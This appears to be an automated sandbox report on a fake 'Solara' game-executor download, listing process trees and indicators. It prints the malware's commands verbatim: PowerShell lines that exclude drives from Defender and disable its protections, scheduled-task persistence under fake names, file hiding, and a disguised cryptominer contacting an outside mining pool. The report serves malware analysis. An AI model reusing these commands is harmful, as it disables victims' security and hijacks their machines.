5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

msedge.exefirefox.exechrome.exe

pid	process
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
6392	firefox.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe
7032	chrome.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

Solara NEW.exejavaw.exeWinSFX.exeWinDefender.exeMpWinDefenderService.exeMpWinDefenderService.exeMpDefenderCoreService.exeMpCmdRun.exerar.exefirefox.exe

pid	process
5396	Solara NEW.exe
5472	javaw.exe
5472	javaw.exe
6068	WinSFX.exe
5552	WinDefender.exe
5748	MpWinDefenderService.exe
5804	MpWinDefenderService.exe
5312	MpDefenderCoreService.exe
5912	MpCmdRun.exe
4192	rar.exe
6392	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 5112 wrote to memory of 2784	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2784	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2164	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 1848	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 1848	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe
PID 5112 wrote to memory of 2692	5112	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

6692 attrib.exe
6600 attrib.exe
5648 attrib.exe
752 attrib.exe

pid	process
6692	attrib.exe
6600	attrib.exe
5648	attrib.exe
752	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://raw.githubusercontent.com/ByterCode/Solara-Excutor/refs/heads/main/Solara%20NEW.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd480846f8,0x7ffd48084708,0x7ffd48084718
2⤵
PID:2784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
2⤵
PID:2164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2908 /prefetch:8
2⤵
PID:2692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
2⤵
PID:3788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
2⤵
PID:4032

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
2⤵
PID:1012

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4776 /prefetch:1
2⤵
PID:4432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
2⤵
PID:4584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4152 /prefetch:1
2⤵
PID:5072

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3560 /prefetch:1
2⤵
PID:232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5972 /prefetch:8
2⤵
PID:1672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
2⤵
PID:116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2080,4860545431235443515,18389540430312366972,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5940 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1300

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2068

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2920

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5356

C:\Users\Admin\AppData\Local\Temp\Temp1_Solara NEW.zip\Solara NEW.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Solara NEW.zip\Solara NEW.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5396

C:\Program Files\Java\jre-1.8\bin\javaw.exe
"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Temp1_Solara NEW.zip\Solara NEW.exe"
2⤵
- Drops startup file
- Loads dropped DLL
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5472

C:\Windows\SYSTEM32\reg.exe
reg query HKLM\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
3⤵
- Checks BIOS information in registry
- Modifies registry key
PID:5852

C:\Windows\System32\Wbem\wmic.exe
wmic diskdrive get model
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5308

C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform\WinSFX.exe
C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform\WinSFX.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6068

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows\Defender\9MtIZXiAw.vbe"
4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows\Defender\Es1BthyXvq2km5CiHkXHry3WVfzj.bat" "
5⤵
- System Location Discovery: System Language Discovery
PID:7048

C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe
"C:\Users\Admin\AppData\Roaming\Windows/Defender/RunShell.exe"
6⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
PID:5688

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nvpxylj3\nvpxylj3.cmdline"
7⤵
- Drops file in System32 directory
PID:6720

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5752.tmp" "c:\Windows\System32\CSCB59BB1DD46334AD8911ABF5DB637A37.TMP"
8⤵
PID:5388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:6288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\agentComponentFontNet\System.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:6148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\msedge.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:6796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Security\BrowserCore\en-US\lsass.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:6764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\agentComponentFontNet\TrustedInstaller.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:6944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:5500

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\uAhO8zbU6i.bat"
7⤵
PID:5388

C:\Windows\system32\chcp.com
chcp 65001
8⤵
PID:5928

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
8⤵
PID:6228

C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\RunShell.exe"
8⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
PID:6496

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinHelper32.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinHelper32.exe"
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5276

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
5⤵
PID:5460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5944

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdater" /tr "C:\Windows\system32\GoogleUpdater.exe"
5⤵
PID:5788

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdater" /tr "C:\Windows\system32\GoogleUpdater.exe"
6⤵
- Scheduled Task/Job: Scheduled Task
PID:2104

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\GoogleUpdater.exe"
5⤵
PID:6360

C:\Windows\system32\GoogleUpdater.exe
C:\Windows\system32\GoogleUpdater.exe
6⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:7108

C:\Windows\system32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
7⤵
PID:2028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
8⤵
- Command and Scripting Interpreter: PowerShell
PID:3592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
8⤵
- Command and Scripting Interpreter: PowerShell
PID:4912

C:\Windows\system32\Microsoft\Libs\sihost64.exe
"C:\Windows\system32\Microsoft\Libs\sihost64.exe"
7⤵
- Executes dropped EXE
PID:6872

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=4BHDQDtdSK2c9CQxpSptzvgbXgQ664JTqEnBvuXeueNLGGg7CYHPtQNEnZ3YK9MQgbE6dsg92yX4B6QXpG3v7HAS2nGUBKr --pass=x --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
7⤵
PID:6624

C:\Users\Admin\AppData\Roaming\Windows\Defender\WinDefender.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\WinDefender.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5552

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinSDK.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinSDK.exe"
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5932

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Roaming\svchost.exe"' & exit
6⤵
PID:5524

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Roaming\svchost.exe"'
7⤵
- Scheduled Task/Job: Scheduled Task
PID:6840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp58D9.tmp.bat""
6⤵
PID:5648

C:\Windows\system32\timeout.exe
timeout 3
7⤵
- Delays execution with timeout.exe
PID:1300

C:\Users\Admin\AppData\Roaming\svchost.exe
"C:\Users\Admin\AppData\Roaming\svchost.exe"
7⤵
- Executes dropped EXE
PID:7068

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpDefenderRuntime.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpDefenderRuntime.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5304

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5748

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe"
5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe'"
6⤵
PID:5908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
6⤵
PID:4184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe""
6⤵
- Hide Artifacts: Hidden Files and Directories
PID:2244

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe"
7⤵
- Views/modifies file attributes
PID:752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
6⤵
